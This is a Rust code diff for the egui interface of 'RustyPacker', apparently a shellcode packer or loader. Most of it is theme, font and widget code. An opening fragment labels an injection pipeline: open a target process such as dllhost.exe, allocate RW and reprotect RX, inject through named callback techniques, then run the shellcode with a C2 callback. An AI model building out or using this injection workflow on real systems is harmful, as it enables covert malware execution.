|
||||
if is_remote {
|
||||
let target = state
|
||||
.params
|
||||
.get(&format!("{}.target_process", inj.meta().id))
|
||||
.cloned()
|
||||
.unwrap_or_else(|| "dllhost.exe".into());
|
||||
steps.push(Step {
|
||||
title: "Open target process".into(),
|
||||
pill: target,
|
||||
accent: StepAccent::Normal,
|
||||
});
|
||||
}
|
||||
|
||||
steps.push(Step {
|
||||
title: "Allocate RW · Write · Reprotect RX".into(),
|
||||
pill: "RW → RX".into(),
|
||||
accent: StepAccent::Danger,
|
||||
});
|
||||
|
||||
steps.push(Step {
|
||||
title: format!("Inject via {}", inj.meta().display_name),
|
||||
pill: pill_for_injection(inj.meta().id),
|
||||
accent: StepAccent::Normal,
|
||||
});
|
||||
}
|
||||
|
||||
steps.push(Step {
|
||||
title: "Shellcode runs · C2 callback".into(),
|
||||
pill: "DETONATE".into(),
|
||||
accent: StepAccent::Danger,
|
||||
});
|
||||
|
||||
steps
|
||||
}
|
||||
|
||||
/// Long technique ids (e.g. "enum_calendar_info") look ugly when shouted.
|
||||
/// Map them to a tighter pill label; fall back to the upper-case id.
|
||||
fn pill_for_injection(id: &str) -> String {
|
||||
match id {
|
||||
"enum_calendar_info" => "CALENDAR".into(),
|
||||
"enum_desktops" => "DESKTOPS".into(),
|
||||
"enum_window_stations" => "WINSTA".into(),
|
||||
"enum_system_geo_id" => "GEOID".into(),
|
||||
"cdef_folder_menu" => "CDEFMENU".into(),
|
||||
"rtl_user_fiber_start" => "RTLFIBER".into(),
|
||||
other => other.to_uppercase(),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,372 @@
|
||||
//! Multi-theme design system for the RustyPacker GUI.
|
||||
//!
|
||||
//! Two themes ship today (Tactical, Cyberpunk). Each theme is a single
|
||||
//! [`Palette`] value; widgets read the current palette via the `palette::*`
|
||||
//! accessor functions. Switching themes is a single `set_theme()` call that
|
||||
//! updates the atomic discriminant and re-installs fonts/Visuals.
|
||||
//!
|
||||
//! Tactical = the default; Cyberpunk forces all proportional text through
|
||||
//! JetBrains Mono and enables a scanline overlay (painted by mod.rs).
|
||||
|
||||
use eframe::egui::{
|
||||
self, Color32, FontData, FontDefinitions, FontFamily, FontId, Margin, Stroke, Style,
|
||||
TextStyle, Vec2, Visuals,
|
||||
};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::sync::atomic::{AtomicU8, Ordering};
|
||||
|
||||
// ---------------------------------------------------------------- Theme
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub enum Theme {
|
||||
Tactical,
|
||||
Cyberpunk,
|
||||
}
|
||||
|
||||
impl Default for Theme {
|
||||
fn default() -> Self { Self::Cyberpunk }
|
||||
}
|
||||
|
||||
impl Theme {
|
||||
pub const ALL: &'static [Theme] = &[Theme::Tactical, Theme::Cyberpunk];
|
||||
|
||||
pub fn label(self) -> &'static str {
|
||||
match self {
|
||||
Theme::Tactical => "Tactical",
|
||||
Theme::Cyberpunk => "Cyberpunk",
|
||||
}
|
||||
}
|
||||
|
||||
pub fn palette(self) -> &'static Palette {
|
||||
match self {
|
||||
Theme::Tactical => &TACTICAL_PAL,
|
||||
Theme::Cyberpunk => &CYBERPUNK_PAL,
|
||||
}
|
||||
}
|
||||
|
||||
/// True if every text style (including Proportional) should render mono.
|
||||
pub fn mono_only(self) -> bool {
|
||||
matches!(self, Theme::Cyberpunk)
|
||||
}
|
||||
|
||||
/// True if the central panel should overlay a subtle CRT scanline pattern.
|
||||
pub fn scanlines(self) -> bool {
|
||||
matches!(self, Theme::Cyberpunk)
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- Palette
|
||||
|
||||
pub struct Palette {
|
||||
pub bg_base: Color32,
|
||||
pub bg_chrome: Color32,
|
||||
pub bg_panel: Color32,
|
||||
pub bg_panel_hi: Color32,
|
||||
pub bg_input: Color32,
|
||||
|
||||
pub border: Color32,
|
||||
pub border_strong: Color32,
|
||||
|
||||
pub text: Color32,
|
||||
pub text_dim: Color32,
|
||||
pub text_label: Color32,
|
||||
pub text_muted: Color32,
|
||||
|
||||
pub accent: Color32,
|
||||
pub accent_hi: Color32,
|
||||
pub accent_dim: Color32,
|
||||
|
||||
pub ok: Color32,
|
||||
pub warn: Color32,
|
||||
pub danger: Color32,
|
||||
pub danger_hi: Color32,
|
||||
|
||||
/// Pre-mixed soft tints for filled badges / banners.
|
||||
pub accent_tint: Color32,
|
||||
pub danger_tint: Color32,
|
||||
}
|
||||
|
||||
pub const TACTICAL_PAL: Palette = Palette {
|
||||
bg_base: Color32::from_rgb(0x16, 0x14, 0x0f),
|
||||
bg_chrome: Color32::from_rgb(0x10, 0x0e, 0x0a),
|
||||
bg_panel: Color32::from_rgb(0x1a, 0x18, 0x12),
|
||||
bg_panel_hi: Color32::from_rgb(0x21, 0x1d, 0x16),
|
||||
bg_input: Color32::from_rgb(0x0e, 0x0c, 0x08),
|
||||
border: Color32::from_rgb(0x2e, 0x28, 0x20),
|
||||
border_strong: Color32::from_rgb(0x3a, 0x34, 0x2a),
|
||||
text: Color32::from_rgb(0xd6, 0xcf, 0xb8),
|
||||
text_dim: Color32::from_rgb(0x8a, 0x82, 0x70),
|
||||
text_label: Color32::from_rgb(0x9e, 0x95, 0x80),
|
||||
text_muted: Color32::from_rgb(0x6e, 0x67, 0x55),
|
||||
accent: Color32::from_rgb(0xd9, 0x97, 0x44),
|
||||
accent_hi: Color32::from_rgb(0xe8, 0xa8, 0x55),
|
||||
accent_dim: Color32::from_rgb(0xb3, 0x90, 0x39),
|
||||
ok: Color32::from_rgb(0x7f, 0xb0, 0x69),
|
||||
warn: Color32::from_rgb(0xd9, 0xb5, 0x66),
|
||||
danger: Color32::from_rgb(0xcc, 0x44, 0x44),
|
||||
danger_hi: Color32::from_rgb(0xe0, 0x70, 0x70),
|
||||
accent_tint: Color32::from_rgba_premultiplied(0x36, 0x26, 0x10, 0x40),
|
||||
danger_tint: Color32::from_rgba_premultiplied(0x33, 0x11, 0x11, 0x40),
|
||||
};
|
||||
|
||||
pub const CYBERPUNK_PAL: Palette = Palette {
|
||||
bg_base: Color32::from_rgb(0x07, 0x0a, 0x0d),
|
||||
bg_chrome: Color32::from_rgb(0x05, 0x07, 0x09),
|
||||
bg_panel: Color32::from_rgb(0x0a, 0x12, 0x16),
|
||||
bg_panel_hi: Color32::from_rgb(0x0e, 0x1a, 0x20),
|
||||
bg_input: Color32::from_rgb(0x04, 0x07, 0x09),
|
||||
border: Color32::from_rgb(0x0e, 0x3a, 0x2e),
|
||||
border_strong: Color32::from_rgb(0x14, 0x66, 0x52),
|
||||
text: Color32::from_rgb(0xcd, 0xff, 0xf0),
|
||||
text_dim: Color32::from_rgb(0x5a, 0x9c, 0x8a),
|
||||
text_label: Color32::from_rgb(0x7f, 0xbf, 0xa9),
|
||||
text_muted: Color32::from_rgb(0x3a, 0x6b, 0x5d),
|
||||
accent: Color32::from_rgb(0x14, 0xff, 0xba),
|
||||
accent_hi: Color32::from_rgb(0x7f, 0xff, 0xe0),
|
||||
accent_dim: Color32::from_rgb(0x0f, 0xcc, 0x9a),
|
||||
ok: Color32::from_rgb(0x14, 0xff, 0xba),
|
||||
warn: Color32::from_rgb(0xff, 0xdb, 0x40),
|
||||
danger: Color32::from_rgb(0xff, 0x40, 0x60),
|
||||
danger_hi: Color32::from_rgb(0xff, 0x70, 0x80),
|
||||
accent_tint: Color32::from_rgba_premultiplied(0x06, 0x3c, 0x2c, 0x60),
|
||||
danger_tint: Color32::from_rgba_premultiplied(0x3c, 0x0c, 0x14, 0x60),
|
||||
};
|
||||
|
||||
// ---------------------------------------------------------------- active theme
|
||||
|
||||
static ACTIVE: AtomicU8 = AtomicU8::new(0);
|
||||
|
||||
fn theme_to_u8(t: Theme) -> u8 {
|
||||
match t {
|
||||
Theme::Tactical => 0,
|
||||
Theme::Cyberpunk => 1,
|
||||
}
|
||||
}
|
||||
fn u8_to_theme(v: u8) -> Theme {
|
||||
match v {
|
||||
1 => Theme::Cyberpunk,
|
||||
_ => Theme::Tactical,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn current_theme() -> Theme {
|
||||
u8_to_theme(ACTIVE.load(Ordering::Relaxed))
|
||||
}
|
||||
pub fn current_palette() -> &'static Palette {
|
||||
current_theme().palette()
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- spacing
|
||||
|
||||
pub mod space {
|
||||
pub const XS: f32 = 4.0;
|
||||
pub const SM: f32 = 8.0;
|
||||
pub const MD: f32 = 12.0;
|
||||
pub const LG: f32 = 18.0;
|
||||
pub const XL: f32 = 24.0;
|
||||
pub const XXL: f32 = 32.0;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- rounding
|
||||
|
||||
pub mod radius {
|
||||
use eframe::egui::Rounding;
|
||||
pub const PILL: Rounding = Rounding::same(2.0);
|
||||
pub const INPUT: Rounding = Rounding::same(3.0);
|
||||
pub const CARD: Rounding = Rounding::same(4.0);
|
||||
pub const CHROME: Rounding = Rounding::same(6.0);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- palette accessors
|
||||
|
||||
/// Widgets read colors through these functions, never through the consts
|
||||
/// directly — that's what makes the theme switchable at runtime.
|
||||
pub mod palette {
|
||||
use eframe::egui::Color32;
|
||||
use super::current_palette;
|
||||
|
||||
pub fn bg_base() -> Color32 { current_palette().bg_base }
|
||||
pub fn bg_chrome() -> Color32 { current_palette().bg_chrome }
|
||||
pub fn bg_panel() -> Color32 { current_palette().bg_panel }
|
||||
pub fn bg_panel_hi() -> Color32 { current_palette().bg_panel_hi }
|
||||
pub fn bg_input() -> Color32 { current_palette().bg_input }
|
||||
|
||||
pub fn border() -> Color32 { current_palette().border }
|
||||
pub fn border_strong() -> Color32 { current_palette().border_strong }
|
||||
|
||||
pub fn text() -> Color32 { current_palette().text }
|
||||
pub fn text_dim() -> Color32 { current_palette().text_dim }
|
||||
pub fn text_label() -> Color32 { current_palette().text_label }
|
||||
pub fn text_muted() -> Color32 { current_palette().text_muted }
|
||||
|
||||
pub fn accent() -> Color32 { current_palette().accent }
|
||||
pub fn accent_hi() -> Color32 { current_palette().accent_hi }
|
||||
pub fn accent_dim() -> Color32 { current_palette().accent_dim }
|
||||
|
||||
pub fn ok() -> Color32 { current_palette().ok }
|
||||
pub fn warn() -> Color32 { current_palette().warn }
|
||||
pub fn danger() -> Color32 { current_palette().danger }
|
||||
pub fn danger_hi() -> Color32 { current_palette().danger_hi }
|
||||
|
||||
pub fn accent_tint() -> Color32 { current_palette().accent_tint }
|
||||
pub fn danger_tint() -> Color32 { current_palette().danger_tint }
|
||||
|
||||
/// Convenience: solid accent at the given alpha (0..=255).
|
||||
pub fn accent_alpha(alpha: u8) -> Color32 {
|
||||
let c = accent();
|
||||
// linear_multiply preserves hue while reducing intensity for overlay tints.
|
||||
let r = ((c.r() as u16 * alpha as u16) / 255) as u8;
|
||||
let g = ((c.g() as u16 * alpha as u16) / 255) as u8;
|
||||
let b = ((c.b() as u16 * alpha as u16) / 255) as u8;
|
||||
Color32::from_rgba_premultiplied(r, g, b, alpha)
|
||||
}
|
||||
pub fn danger_alpha(alpha: u8) -> Color32 {
|
||||
let c = danger();
|
||||
let r = ((c.r() as u16 * alpha as u16) / 255) as u8;
|
||||
let g = ((c.g() as u16 * alpha as u16) / 255) as u8;
|
||||
let b = ((c.b() as u16 * alpha as u16) / 255) as u8;
|
||||
Color32::from_rgba_premultiplied(r, g, b, alpha)
|
||||
}
|
||||
pub fn warn_alpha(alpha: u8) -> Color32 {
|
||||
let c = warn();
|
||||
let r = ((c.r() as u16 * alpha as u16) / 255) as u8;
|
||||
let g = ((c.g() as u16 * alpha as u16) / 255) as u8;
|
||||
let b = ((c.b() as u16 * alpha as u16) / 255) as u8;
|
||||
Color32::from_rgba_premultiplied(r, g, b, alpha)
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- fonts
|
||||
|
||||
const FONT_INTER: &[u8] = include_bytes!("../../assets/fonts/InterVariable.ttf");
|
||||
const FONT_MONO: &[u8] = include_bytes!("../../assets/fonts/JetBrainsMono-Regular.ttf");
|
||||
const FONT_MONO_BOLD: &[u8] = include_bytes!("../../assets/fonts/JetBrainsMono-Bold.ttf");
|
||||
|
||||
pub const FAMILY_MONO_BOLD: &str = "mono-bold";
|
||||
|
||||
// ---------------------------------------------------------------- install
|
||||
|
||||
/// Apply theme: persist active discriminant, install fonts + visuals.
|
||||
/// Safe to call multiple times (e.g. on theme change).
|
||||
pub fn install(ctx: &egui::Context, theme: Theme) {
|
||||
ACTIVE.store(theme_to_u8(theme), Ordering::Relaxed);
|
||||
install_fonts(ctx, theme);
|
||||
install_style(ctx, theme);
|
||||
}
|
||||
|
||||
fn install_fonts(ctx: &egui::Context, theme: Theme) {
|
||||
let mut fonts = FontDefinitions::default();
|
||||
|
||||
fonts.font_data.insert("inter".into(), FontData::from_static(FONT_INTER));
|
||||
fonts.font_data.insert("jbm".into(), FontData::from_static(FONT_MONO));
|
||||
fonts.font_data.insert("jbm-bold".into(), FontData::from_static(FONT_MONO_BOLD));
|
||||
|
||||
// In Cyberpunk, swap Proportional family to mono so every text style
|
||||
// (heading/body/button/small) renders monospace without per-widget changes.
|
||||
let primary_proportional = if theme.mono_only() { "jbm" } else { "inter" };
|
||||
|
||||
fonts
|
||||
.families
|
||||
.entry(FontFamily::Proportional)
|
||||
.or_default()
|
||||
.insert(0, primary_proportional.into());
|
||||
|
||||
fonts
|
||||
.families
|
||||
.entry(FontFamily::Monospace)
|
||||
.or_default()
|
||||
.insert(0, "jbm".into());
|
||||
|
||||
fonts.families.insert(
|
||||
FontFamily::Name(FAMILY_MONO_BOLD.into()),
|
||||
vec!["jbm-bold".into()],
|
||||
);
|
||||
|
||||
ctx.set_fonts(fonts);
|
||||
}
|
||||
|
||||
fn install_style(ctx: &egui::Context, theme: Theme) {
|
||||
let p = theme.palette();
|
||||
let mut style: Style = (*ctx.style()).clone();
|
||||
let mut v = Visuals::dark();
|
||||
|
||||
v.override_text_color = Some(p.text);
|
||||
v.panel_fill = p.bg_base;
|
||||
v.window_fill = p.bg_base;
|
||||
v.window_stroke = Stroke::new(1.0, p.border_strong);
|
||||
v.window_rounding = radius::CHROME;
|
||||
v.menu_rounding = radius::CARD;
|
||||
v.extreme_bg_color = p.bg_input;
|
||||
v.faint_bg_color = p.bg_panel;
|
||||
v.code_bg_color = p.bg_input;
|
||||
|
||||
v.selection.bg_fill = p.accent.linear_multiply(0.35);
|
||||
v.selection.stroke = Stroke::new(1.0, p.accent);
|
||||
v.hyperlink_color = p.accent_hi;
|
||||
|
||||
let w = &mut v.widgets;
|
||||
w.noninteractive.bg_fill = p.bg_panel;
|
||||
w.noninteractive.weak_bg_fill = p.bg_panel;
|
||||
w.noninteractive.bg_stroke = Stroke::new(1.0, p.border);
|
||||
w.noninteractive.fg_stroke = Stroke::new(1.0, p.text);
|
||||
w.noninteractive.rounding = radius::CARD;
|
||||
|
||||
w.inactive.bg_fill = p.bg_input;
|
||||
w.inactive.weak_bg_fill = p.bg_input;
|
||||
w.inactive.bg_stroke = Stroke::new(1.0, p.border);
|
||||
w.inactive.fg_stroke = Stroke::new(1.0, p.text_label);
|
||||
w.inactive.rounding = radius::INPUT;
|
||||
|
||||
w.hovered.bg_fill = p.bg_panel_hi;
|
||||
w.hovered.weak_bg_fill = p.bg_panel_hi;
|
||||
w.hovered.bg_stroke = Stroke::new(1.0, p.accent);
|
||||
w.hovered.fg_stroke = Stroke::new(1.0, p.text);
|
||||
w.hovered.rounding = radius::INPUT;
|
||||
|
||||
w.active.bg_fill = p.accent;
|
||||
w.active.weak_bg_fill = p.accent.linear_multiply(0.2);
|
||||
w.active.bg_stroke = Stroke::new(1.0, p.accent);
|
||||
w.active.fg_stroke = Stroke::new(1.0, p.bg_base);
|
||||
w.active.rounding = radius::INPUT;
|
||||
|
||||
w.open.bg_fill = p.bg_input;
|
||||
w.open.bg_stroke = Stroke::new(1.0, p.accent);
|
||||
w.open.fg_stroke = Stroke::new(1.0, p.text);
|
||||
w.open.rounding = radius::INPUT;
|
||||
|
||||
v.handle_shape = egui::style::HandleShape::Rect { aspect_ratio: 1.0 };
|
||||
|
||||
style.visuals = v;
|
||||
|
||||
style.spacing.item_spacing = Vec2::new(space::SM, space::XS + 1.0);
|
||||
style.spacing.button_padding = Vec2::new(space::MD, space::XS + 2.0);
|
||||
style.spacing.window_margin = Margin::same(0.0);
|
||||
style.spacing.menu_margin = Margin::same(6.0);
|
||||
style.spacing.indent = space::LG;
|
||||
style.spacing.scroll.bar_width = 8.0;
|
||||
style.spacing.interact_size = Vec2::new(24.0, 22.0);
|
||||
|
||||
let mut text = std::collections::BTreeMap::new();
|
||||
text.insert(TextStyle::Heading, FontId::new(15.0, FontFamily::Proportional));
|
||||
text.insert(TextStyle::Body, FontId::new(13.0, FontFamily::Proportional));
|
||||
text.insert(TextStyle::Button, FontId::new(12.0, FontFamily::Proportional));
|
||||
text.insert(TextStyle::Small, FontId::new(11.0, FontFamily::Proportional));
|
||||
text.insert(TextStyle::Monospace, FontId::new(12.0, FontFamily::Monospace));
|
||||
style.text_styles = text;
|
||||
|
||||
ctx.set_style(style);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- font helpers
|
||||
|
||||
pub fn font_mono_bold(size: f32) -> FontId {
|
||||
FontId::new(size, FontFamily::Name(FAMILY_MONO_BOLD.into()))
|
||||
}
|
||||
|
||||
pub fn font_mono(size: f32) -> FontId {
|
||||
FontId::new(size, FontFamily::Monospace)
|
||||
}
|
||||
|
||||
pub fn font_sans(size: f32) -> FontId {
|
||||
FontId::new(size, FontFamily::Proportional)
|
||||
}
|
||||
@@ -0,0 +1,742 @@
|
||||
//! Tactical/Operator widget primitives. All custom drawing for the app
|
||||
//! lives here, on top of the tokens defined in [`crate::gui::theme`].
|
||||
|
||||
use crate::gui::theme::{palette, radius, space, Theme};
|
||||
use eframe::egui::{
|
||||
self, Align, Align2, Color32, FontFamily, FontId, Frame, Id, LayerId, Layout, Margin, Order,
|
||||
Rect, Response, RichText, Rounding, Sense, Stroke, TextStyle, Ui, Vec2,
|
||||
};
|
||||
|
||||
// ---------------------------------------------------------------- status pip
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
pub enum AppStatus {
|
||||
Ready { count: usize },
|
||||
Building,
|
||||
Error(String),
|
||||
}
|
||||
|
||||
fn status_color(s: &AppStatus) -> Color32 {
|
||||
match s {
|
||||
AppStatus::Ready { .. } => palette::ok(),
|
||||
AppStatus::Building => palette::accent(),
|
||||
AppStatus::Error(_) => palette::danger_hi(),
|
||||
}
|
||||
}
|
||||
|
||||
fn status_text(s: &AppStatus) -> String {
|
||||
match s {
|
||||
AppStatus::Ready { count } => format!("{count} techniques discovered · ready"),
|
||||
AppStatus::Building => "building…".into(),
|
||||
AppStatus::Error(m) => format!("error · {m}"),
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- title bar
|
||||
|
||||
/// Returns `true` if the user picked a different theme this frame.
|
||||
pub fn title_bar(
|
||||
ui: &mut Ui,
|
||||
version: &str,
|
||||
status: &AppStatus,
|
||||
theme: &mut Theme,
|
||||
) -> bool {
|
||||
let mut theme_changed = false;
|
||||
Frame::none()
|
||||
.fill(palette::bg_chrome())
|
||||
.inner_margin(Margin {
|
||||
left: space::LG, right: space::LG,
|
||||
top: space::SM + 2.0, bottom: space::SM + 2.0,
|
||||
})
|
||||
.show(ui, |ui| {
|
||||
ui.horizontal(|ui| {
|
||||
theme_changed = theme_picker(ui, theme);
|
||||
ui.add_space(space::SM);
|
||||
|
||||
ui.label(
|
||||
RichText::new("RUSTYPACKER")
|
||||
.font(crate::gui::theme::font_mono_bold(12.0))
|
||||
.color(palette::accent()),
|
||||
);
|
||||
ui.add_space(space::SM);
|
||||
ui.label(
|
||||
RichText::new(format!("v{version}"))
|
||||
.font(crate::gui::theme::font_mono(11.0))
|
||||
.color(palette::text_muted()),
|
||||
);
|
||||
ui.with_layout(Layout::right_to_left(Align::Center), |ui| {
|
||||
let color = status_color(status);
|
||||
let text = status_text(status);
|
||||
|
||||
ui.label(
|
||||
RichText::new(text)
|
||||
.font(crate::gui::theme::font_sans(11.0))
|
||||
.color(palette::text_muted()),
|
||||
);
|
||||
ui.add_space(space::XS + 2.0);
|
||||
draw_pip(ui, color);
|
||||
});
|
||||
});
|
||||
});
|
||||
let r = ui.max_rect();
|
||||
ui.painter().hline(
|
||||
r.x_range(),
|
||||
r.bottom(),
|
||||
Stroke::new(1.0, palette::border_strong()),
|
||||
);
|
||||
theme_changed
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- theme picker
|
||||
|
||||
fn theme_picker(ui: &mut Ui, theme: &mut Theme) -> bool {
|
||||
let font = crate::gui::theme::font_mono(10.5);
|
||||
let label = format!("◆ {}", theme.label().to_uppercase());
|
||||
let pad = Vec2::new(space::SM + 2.0, space::XS + 1.0);
|
||||
|
||||
let galley = ui.painter().layout_no_wrap(label.clone(), font.clone(), palette::accent());
|
||||
let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0);
|
||||
let (rect, resp) = ui.allocate_exact_size(size, Sense::click());
|
||||
|
||||
let stroke_color = if resp.hovered() { palette::accent_hi() } else { palette::accent_dim() };
|
||||
let fg = if resp.hovered() { palette::accent_hi() } else { palette::accent() };
|
||||
let fill = if resp.hovered() {
|
||||
palette::accent_alpha(0x14)
|
||||
} else {
|
||||
palette::accent_alpha(0x08)
|
||||
};
|
||||
|
||||
ui.painter().rect(rect, radius::INPUT, fill, Stroke::new(1.0, stroke_color));
|
||||
ui.painter().text(rect.center(), Align2::CENTER_CENTER, label, font, fg);
|
||||
|
||||
let popup_id = ui.make_persistent_id("theme_picker_popup");
|
||||
if resp.clicked() {
|
||||
ui.memory_mut(|m| m.toggle_popup(popup_id));
|
||||
}
|
||||
|
||||
let mut changed = false;
|
||||
egui::popup::popup_below_widget(ui, popup_id, &resp, |ui| {
|
||||
ui.set_min_width(140.0);
|
||||
Frame::none()
|
||||
.fill(palette::bg_panel())
|
||||
.stroke(Stroke::new(1.0, palette::border_strong()))
|
||||
.rounding(radius::CARD)
|
||||
.inner_margin(Margin::same(4.0))
|
||||
.show(ui, |ui| {
|
||||
for t in Theme::ALL {
|
||||
let active = *t == *theme;
|
||||
let item_label = t.label();
|
||||
let item_resp = ui.add(
|
||||
egui::SelectableLabel::new(
|
||||
active,
|
||||
RichText::new(format!(" {item_label}"))
|
||||
.font(crate::gui::theme::font_sans(12.0))
|
||||
.color(if active { palette::accent() } else { palette::text() }),
|
||||
),
|
||||
);
|
||||
if item_resp.clicked() && *theme != *t {
|
||||
*theme = *t;
|
||||
changed = true;
|
||||
ui.memory_mut(|m| m.close_popup());
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
changed
|
||||
}
|
||||
|
||||
fn draw_pip(ui: &mut Ui, color: Color32) {
|
||||
let size = Vec2::splat(8.0);
|
||||
let (rect, _) = ui.allocate_exact_size(size, Sense::hover());
|
||||
let p = ui.painter();
|
||||
// Glow
|
||||
p.circle_filled(rect.center(), 5.0, Color32::from_rgba_premultiplied(color.r(), color.g(), color.b(), 64));
|
||||
// Solid pip
|
||||
p.circle_filled(rect.center(), 3.5, color);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- tab strip
|
||||
|
||||
pub fn tab_strip<T: PartialEq + Clone>(
|
||||
ui: &mut Ui,
|
||||
current: &mut T,
|
||||
items: &[(T, &str)],
|
||||
) {
|
||||
Frame::none()
|
||||
.fill(palette::bg_chrome())
|
||||
.inner_margin(Margin {
|
||||
left: space::LG, right: space::LG, top: 0.0, bottom: 0.0,
|
||||
})
|
||||
.show(ui, |ui| {
|
||||
ui.horizontal(|ui| {
|
||||
ui.spacing_mut().item_spacing.x = 0.0;
|
||||
for (value, label) in items.iter() {
|
||||
let active = current == value;
|
||||
if tab_button(ui, label, active).clicked() {
|
||||
*current = value.clone();
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
let r = ui.max_rect();
|
||||
ui.painter().hline(
|
||||
r.x_range(),
|
||||
r.bottom(),
|
||||
Stroke::new(1.0, palette::border_strong()),
|
||||
);
|
||||
}
|
||||
|
||||
fn tab_button(ui: &mut Ui, label: &str, active: bool) -> Response {
|
||||
let pad = Vec2::new(space::LG, space::SM + 1.0);
|
||||
let text_color = if active { palette::accent() } else { palette::text_muted() };
|
||||
let upper = label.to_uppercase();
|
||||
let font = crate::gui::theme::font_sans(11.0);
|
||||
|
||||
let galley = ui.painter().layout_no_wrap(upper.clone(), font.clone(), text_color);
|
||||
let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0);
|
||||
let (rect, resp) = ui.allocate_exact_size(size, Sense::click());
|
||||
|
||||
if active {
|
||||
ui.painter().rect_filled(
|
||||
rect,
|
||||
Rounding::ZERO,
|
||||
palette::accent_alpha(0x0a),
|
||||
);
|
||||
} else if resp.hovered() {
|
||||
ui.painter().rect_filled(
|
||||
rect,
|
||||
Rounding::ZERO,
|
||||
Color32::from_rgba_premultiplied(0xff, 0xff, 0xff, 0x05),
|
||||
);
|
||||
}
|
||||
|
||||
if active {
|
||||
let underline_y = rect.bottom() - 1.0;
|
||||
ui.painter().line_segment(
|
||||
[egui::pos2(rect.left(), underline_y), egui::pos2(rect.right(), underline_y)],
|
||||
Stroke::new(2.0, palette::accent()),
|
||||
);
|
||||
}
|
||||
|
||||
let hover_color = if resp.hovered() && !active { palette::text_label() } else { text_color };
|
||||
ui.painter().text(rect.center(), Align2::CENTER_CENTER, upper, font, hover_color);
|
||||
|
||||
resp
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- section header
|
||||
|
||||
pub fn section_header(ui: &mut Ui, label: &str, count_suffix: Option<&str>) {
|
||||
ui.horizontal(|ui| {
|
||||
let (rect, _) =
|
||||
ui.allocate_exact_size(Vec2::new(3.0, 14.0), Sense::hover());
|
||||
ui.painter().rect_filled(rect, Rounding::same(1.0), palette::accent());
|
||||
|
||||
ui.add_space(space::XS + 2.0);
|
||||
ui.label(
|
||||
RichText::new(label.to_uppercase())
|
||||
.font(crate::gui::theme::font_sans(10.0))
|
||||
.color(palette::text())
|
||||
.strong(),
|
||||
);
|
||||
|
||||
if let Some(s) = count_suffix {
|
||||
ui.with_layout(Layout::right_to_left(Align::Center), |ui| {
|
||||
ui.label(
|
||||
RichText::new(s.to_uppercase())
|
||||
.font(crate::gui::theme::font_sans(10.0))
|
||||
.color(palette::text_muted()),
|
||||
);
|
||||
});
|
||||
}
|
||||
});
|
||||
ui.add_space(space::XS + 2.0);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- card
|
||||
|
||||
pub fn card<R>(ui: &mut Ui, body: impl FnOnce(&mut Ui) -> R) -> R {
|
||||
Frame::none()
|
||||
.fill(palette::bg_panel())
|
||||
.stroke(Stroke::new(1.0, palette::border()))
|
||||
.rounding(radius::CARD)
|
||||
.inner_margin(Margin::symmetric(space::MD + 2.0, space::MD))
|
||||
.show(ui, body)
|
||||
.inner
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- field row
|
||||
|
||||
pub fn field_row(ui: &mut Ui, label: &str, body: impl FnOnce(&mut Ui)) {
|
||||
ui.horizontal(|ui| {
|
||||
ui.add_sized(
|
||||
Vec2::new(82.0, 22.0),
|
||||
egui::Label::new(
|
||||
RichText::new(label)
|
||||
.font(crate::gui::theme::font_sans(11.0))
|
||||
.color(palette::text_label()),
|
||||
),
|
||||
);
|
||||
body(ui);
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- pill
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
pub enum PillKind { Accent, Muted, Warn, Danger }
|
||||
|
||||
pub fn pill(ui: &mut Ui, text: &str, kind: PillKind) -> Response {
|
||||
let (fg, bg, border) = match kind {
|
||||
PillKind::Accent => (
|
||||
palette::accent(),
|
||||
palette::accent_alpha(0x22),
|
||||
palette::accent_alpha(0x66),
|
||||
),
|
||||
PillKind::Muted => (
|
||||
palette::text_label(),
|
||||
palette::bg_panel_hi(),
|
||||
palette::border_strong(),
|
||||
),
|
||||
PillKind::Warn => (
|
||||
palette::warn(),
|
||||
palette::warn_alpha(0x22),
|
||||
palette::warn_alpha(0x66),
|
||||
),
|
||||
PillKind::Danger => (
|
||||
palette::danger_hi(),
|
||||
palette::danger_alpha(0x22),
|
||||
palette::danger_alpha(0x66),
|
||||
),
|
||||
};
|
||||
|
||||
let font = crate::gui::theme::font_sans(9.0);
|
||||
let text_up = text.to_uppercase();
|
||||
let galley = ui.painter().layout_no_wrap(text_up.clone(), font.clone(), fg);
|
||||
let pad = Vec2::new(8.0, 3.0);
|
||||
let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0);
|
||||
let (rect, resp) = ui.allocate_exact_size(size, Sense::hover());
|
||||
|
||||
ui.painter().rect(rect, Rounding::same(10.0), bg, Stroke::new(1.0, border));
|
||||
ui.painter().text(
|
||||
rect.center(),
|
||||
Align2::CENTER_CENTER,
|
||||
text_up,
|
||||
font,
|
||||
fg,
|
||||
);
|
||||
resp
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- segmented control
|
||||
|
||||
pub fn segmented<T: PartialEq + Clone>(
|
||||
ui: &mut Ui,
|
||||
current: &mut T,
|
||||
items: &[(T, &str)],
|
||||
) {
|
||||
Frame::none()
|
||||
.fill(palette::bg_input())
|
||||
.stroke(Stroke::new(1.0, palette::border()))
|
||||
.rounding(radius::INPUT)
|
||||
.inner_margin(Margin::same(2.0))
|
||||
.show(ui, |ui| {
|
||||
